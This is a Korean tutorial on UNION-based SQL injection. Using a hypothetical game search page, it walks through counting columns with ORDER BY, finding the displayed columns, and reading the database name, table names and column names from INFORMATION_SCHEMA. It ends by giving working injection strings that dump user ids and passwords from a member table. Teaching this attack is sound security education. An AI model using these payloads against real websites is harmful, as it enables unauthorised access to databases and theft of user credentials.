SQL injection은 데이터를 사용하는 곳에서 작성된 SQL문에 다른 SQL문을 주입해 원하는 결과를 얻어내는 공격입니다
SQL injection에는 여러가지 방법이 있는데요,
이번엔 UNION을 활용한 SQL Injection을 알아보겠습니다
그럼 먼저 UNION이 무엇인지 알아보아야겠죠?
여러 개의 SELECT문을 합쳐서 하나의 결과 테이블을 보여주는 방법
UNION을 사용하는 방법은 아래와 같습니다
형태
SELECT [컬럼명1, 컬럼명 2 ...] FROM [table 명] WHERE [조건] UNION SELECT [컬럼명1, 컬럼명 2 ...] FROM [table 명] WHERE [조건]
ex) SELECT id FROM member UNION SELECT pass FROM member
그럼 실제로 union 쿼리를 실행해볼까요?
account라는 테이블의 username 컬럼과 1이라는 데이터를 합쳐서 보려고 하면 아래와 같이 sql 쿼리를 작성할 수 있습니다
이번엔 account 테이블의 username, name 컬럼과 'haechan', '이동혁' 이라는 데이터를 합쳐서 보는 query를 작성해보겠습니다
이렇게 union은 여러개의 select 쿼리 실행결과를 합쳐서 보여줍니다
그런데 UNION에서 꼭‼️ 지켜야 할 것이 있습니다
UNION은 여러 개의 SELECT 쿼리 결과를 한 테이블의 형태로 합쳐서 보는 것이기 때문에 각 SELECT 문의 컬럼 개수가 일치해야 합니다
예를 들어서 2개의 SELECT 문을 UNION으로 합친다면
(SELECT ~ FROM ~ WHERE ~) UNION (SELECT ~ FROM ~ WHERE ~)
의 UNION 앞 부분 SELECT 문의 컬럼 개수와 뒷 부분 컬럼 캐수가 일치해야 합니다
(SELECT [컬럼 1], [컬럼 2] FROM ~ WHERE ~) UNION (SELECT [컬럼 1], [컬럼 2] FROM ~ WHERE ~)
이렇게 말이에요
UNION SQL Injection을 위해 알아야 하는 명령어가 한 가지 있습니다
바로 ORDER BY
인데요, 특정 column을 기준으로 정렬해주는 명령어입니다
ORDER BY
는 SELECT 문의 맨 뒤에 작성합니다
SELECT [컬럼명 1], [컬럼명 2], ... FROM [테이블 명] WHERE [조건] ORDER BY [정렬 기준이 될 컬럼명]
ex) SELECT id, pass FROM account ORDER BY id;
ORDER BY [정렬 기준이 될 컬럼명]
형태에서 [정렬 기준이 될 컬럼명] 대신 인덱스 번호로도 정렬할 수 있습니다
예를 들어 SELECT 할 컬럼이 2개 있고 그 중 첫번째 컬럼으로 정렬하고 싶다면 ORDER BY 1
과 같이 작성할 수 있습니다
SELECT id, pass FROM account ORDER BY 1;
이렇게 작성하면 id 컬럼을 기준으로 정렬이 되는 것입니다
이제 정말 UNION SQL Injection에 대해 알아볼까요?
UNION SQL Injection은 왜 하는 걸까요?
서버에서 SELECT 문을 사용하는 곳의 쿼리문은 대체로 아래와 같은 형태일 것입니다
SELECT [컬럼] FROM [테이블] WHERE [조건]
그리고 우리가 SQL문을 주입할 수 있는 곳은 [조건]
부분입니다
즉, 우리는 이미 서버에 작성된 SQL문의 테이블을 벗어난 데이터를 조회할 수는 없습니다
그런데 UNION을 활용하면 SELECT 문을 뒷부분에 추가로 넣을 수 있게 되면서,
서버에 이미 작성된 테이블에서 벗어나 우리가 원하는 테이블의 데이터를 조회할 수 있게 됩니다
이번에는 웹 페이지에 데이터가 출력되는 경우(ex. 게시판)에 원하는 데이터를 출력하는 SQL Injection에 대해 알아보도록 하겠습니다
UNION SQL Injection에는 절차가 있습니다
이 절차에 따라 UNION SQL Injection을 시도해보도록 하겠습니다
먼저 SQL Injection이 통하는 곳인지 알아야 합니다
입력창이 데이터베이스를 활용하지 않는 곳이라면 당연히 SQL Injection도 진행할 수 없습니다
내가 공격할 위치가 SQL 쿼리를 사용해야만 하는 곳일지 생각해 본 후, SQL Injection을 시도해야 합니다
SQL Injection을 사용할 수 있다면, 서버의 SQL 쿼리가 어떻게 작성되어 있을 지 형태를 구상해보아야 합니다
만약 검색창이라면, 여러가지 단어들을 검색하고 그 결과를 관찰하며 어떤 입력에서 어떤 결과가 나오는 지 확인하고
이를 바탕으로 쿼리문이 어떻게 구성되어 있을 지 추측합니다
예를 들어, 검색한 단어가 들어간 게임을 출력하는 게임 검색 창이 있다고 합시다
그렇다면 SQL 쿼리문이 아래와 같을 것으로 예상할 수 있습니다
SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE '%[입력받은 검색어]%'
이제 이 추측한 쿼리문을 바탕으로 본격적인 UNION SQL Injection을 진행합니다
앞에서 UNION은 각 SELECT 문끼리 추출되는 컬럼의 개수를 일치시키는 것이 중요하다고 하였습니다
우리는 UNION을 사용해 SQL Injection을 진행하기 때문에 서버에 작성되어 있는 쿼리문의 컬럼이 몇 개 인지 알아야 합니다
추측한 쿼리문을 다시 한번 살펴볼까요
SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE '%[입력받은 검색어]%'
우리는 여기서 [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...]
이 부분에 정확히 몇 개의 컬럼이 있는 것인지 알아야 합니다
이 컬럼의 개수를 알아내기 위해 ORDER BY를 활용할 수 있습니다
SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE '%[입력받은 검색어]%'
위 쿼리문에서 컬럼 이름도, 컬럼이 몇 개 있는 지도 모르지만 ORDER BY 인덱스 방법으로 정렬시킬 수 있습니다
검색어에 %' ORDER BY [인덱스]#
을 입력해,
SELECT [게임 이름 컬럼], [기타 게임 관련 데이터 컬럼 등 ...] FROM [게임 정보 테이블] WHERE [게임이름컬럼] LIKE '%%' ORDER BY [인덱스]#%'
형태가 되도록 만드는 것입니다
만약 컬럼이 4개 였다고 한다면, ORDER BY 1
부터 ORDER BY 4
까지는 정상 작동하지만 ORDER BY 5
를 입력하는 순간부터 에러가 날 것 입니다
왜냐면 컬럼이 4개밖에 없으니 5번째 컬럼으로 정렬하라는 명령은 실행될 수 없기 때문입니다
이렇게 인덱스를 1부터 하나씩 늘려나가며 에러가 발생하는 인덱스를 찾아 컬럼의 개수를 알아냅니다
이제 우리는 실제 서버의 SELECT 쿼리문에 몇 개의 컬럼이 선택되고 있는 지 알고 있습니다
그런데 쿼리문에서 선택된 컬럼이 모두 웹페이지에 출력되는 것은 아닙니다
만약 4개의 컬럼이 SELECT 되고 있다고 해도 그 중 몇 개만 실제 페이지에 출력하고 있을 수도 있습니다
그렇다면 UNION을 통해 다른 테이블에서 원하는 데이터를 4개 추출하더라도 페이지에 출력되지 않아 추출한 데이터를 확인하지 못하는 상황이 생깁니다
따라서 4개의 컬럼 중 몇 개의 컬럼이 실제로 출력되고 있는지,
그리고 출력되는 컬럼은 4개의 컬럼 중 몇번째 컬럼들인지 확인해야 합니다
위의 게임 검색 창을 다시 예시로 들어보겠습니다
게임을 검색했더니 게임 이름, 제작사, 평점 3가지 정보가 출력된다고 합시다
그럼 4개의 컬럼 중 3개만 출력이 되고 있는 상황이네요
4개의 컬럼 중 몇 번째 컬럼이 출력되고 있는 지 알아내기 위해 검색창에 %' UNION SELECT 1,2,3,4
를 주입합니다
그럼 SQL의 실행 결과에는 컬럼이 4개인 결과 테이블의 마지막 행 각 컬럼에 1, 2, 3, 4가 추가되어 있을 것입니다
이런 형식으로요
그런데 이 중 웹페이지에 출력된 데이터는 2, 3, 4 밖에 없다고 합시다
그럼 1번째 컬럼은 SELECT 쿼리를 통해 추출되긴 했지만, 실제 페이지에는 출력되지 않는 컬럼입니다
이제 실제 서버의 SQL 문은 4개의 컬럼을 SELECT 하고, 이 4개의 컬럼 중 1번째 컬럼은 웹 페이지에 출력되지 않는다는 것까지 알아냈습니다
UNION을 이용해 DB의 다른 중요한 정보를 추출하려면 우선 DB의 이름을 알아야 합니다
DB의 이름은 select database()
를 통해 알 수 있습니다
그렇다면 이 쿼리를 어떻게 주입하면 될까요?
마찬가지로 UNION을 활용해 %' UNION SELECT 1, database(), 3, 4#
를 검색하면 아래와 같은 쿼리가 완성됩니다
SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE '%%' UNION SELECT 1, database(), 3, 4#%'
1번째 컬럼은 출력되지 않는다고 했으니, 이 쿼리의 결과 테이블 마지막 행에는 데이터베이스 이름과 3, 4가 출력되겠네요
이렇게 DB 이름을 알아냈습니다
DB 이름을 알아냈으니 이제 해당 DB 안에 어떤 테이블이 있는지 알 차례입니다
어떻게 알 수 있을까요?
mysql에는 INFORMATION_SCHEMA
라는 DB의 메타 데이터(table, column 등의 정보)를 저장하는 시스템 DB가 존재합니다
이 INFORMATION_SCHEMA
에 DB 안의 table 명을 저장하는 table인 INFORMATION_SCHEMA.TABLES
가 존재합니다
이 INFORMATION_SCHEMA.TABLES
에는 여러 컬럼이 있는데,
그 중 테이블의 이름을 저장하는 컬럼 이름은 TABLE_NAME
, 각 테이블이 속한 DB 명이 저장되는 컬럼 이름은 TABLE_SCHEMA
입니다
자 그렇다면 어떤 DB 안에 어떤 테이블이 있는 지 조회하는 SQL 쿼리는 어떻게 작성하면 될까요?
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='[해당 DB명]'
이렇게 작성하면 되겠네요
이 SQL문을 UNION을 활용해 게임 검색 쿼리에 잘 끼워넣어, 화면에 테이블 명을 출력해야 합니다
그럼 우리가 검색해야 할 것은 %' UNION SELECT 1, TABLE_NAME, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='[해당 DB명]'#
이 됩니다
이 쿼리를 게임 검색 창에 입력했을 때 서버 내부의 SQL 쿼리는 아래와 같을 것으로 예상할 수 있습니다
SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE '%%' UNION SELECT 1, TABLE_NAME, 3, 4 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='[해당 DB명]'#%'
이 결과로 결과 테이블의 마지막 부분에 해당 DB에 있는 테이블명들이 쭉 출력될 것입니다
이제 우리는 테이블 명까지 알아냈습니다
DB 이름과 테이블 이름까지 알았으니 이제 컬럼 명만 알면 정말 SELECT 문을 완성시킬 수 있겠네요
테이블에 있는 컬럼 이름 역시 테이블 이름을 찾을 때처럼 시스템 데이터베이스인 INFORMATION_SCHEMA
에서 찾을 수 있습니다
INFORMATION_SCHEMA
에는 table 내 컬럼 정보들을 저장하는 table인 INFORMATION_SCHEMA.COLUMNS
라는 테이블이 존재합니다
이 INFORMATION_SCHEMA.COLUMNS
에서 DB의 컬럼 이름들을 저장하는 컬럼 명은 COLUMN_NAME
, 각 컬럼이 속한 테이블 정보를 저장하는 컬럼 명은 TABLE_NAME
입니다
그럼 컬럼 이름을 조회하는 SQL문을 어떻게 작성하면 될까요?
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[해당 테이블명]'
이렇게 작성하면 되겠네요
우리는 이 SQL문을 UNION을 활용해 검색 공간에 잘 끼워 넣어, 웹페이지에서 컬럼 이름들이 출력되도록 만들어야 합니다
그럼 서버 내부의 SQL 쿼리가 아래와 같이 완성되도록 만들어야 겠네요
SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE '%%' UNION SELECT 1, COLUMN_NAME, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[해당 테이블명]'#%'
그러니까 우리가 검색 창에 입력해야 할 것은 %' UNION SELECT 1, COLUMN_NAME, 3, 4 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='[해당 테이블명]'#
입니다
이제 DB 이름, 테이블 이름, 컬럼 이름까지 알았으니 데이터를 추출할 차례입니다
지금까지 알아낸 정보로 SELECT문을 작성하면
SELECT [해당 컬럼 명] FROM [해당 테이블 명]
입니다
예를 들어 알아낸 테이블 명이 member, 알아낸 컬럼 명이 id와 pass라면,
SELECT id, pass FROM member
이렇게 쿼리를 작성할 수 있습니다
이제 이 쿼리를 UNION을 활용해 서버 내부의 쿼리에 잘 끼워넣으면 성공입니다
서버의 쿼리는 select 된 컬럼이 4개이고 그 중 첫번째 컬럼은 웹에 출력이 되지 않으니, 우리가 최종적으로 만들어야 할 쿼리문은 아래와 같습니다
SELECT [컬럼1], [컬럼2], [컬럼3], [컬럼4] FROM [테이블] WHERE [게임이름컬럼] LIKE '%%' UNION SELECT 1, id, pass, 4 FROM member#%'
그렇다면 우리가 원하는 데이터를 출력하기 위해서 검색해야 할 것은 %' UNION SELECT 1, id, pass, 4 FROM member#
가 됩니다
이렇게 웹에 SQL 쿼리의 결과가 출력되는 경우의 UNION SQL Injection에 대해 알아보았습니다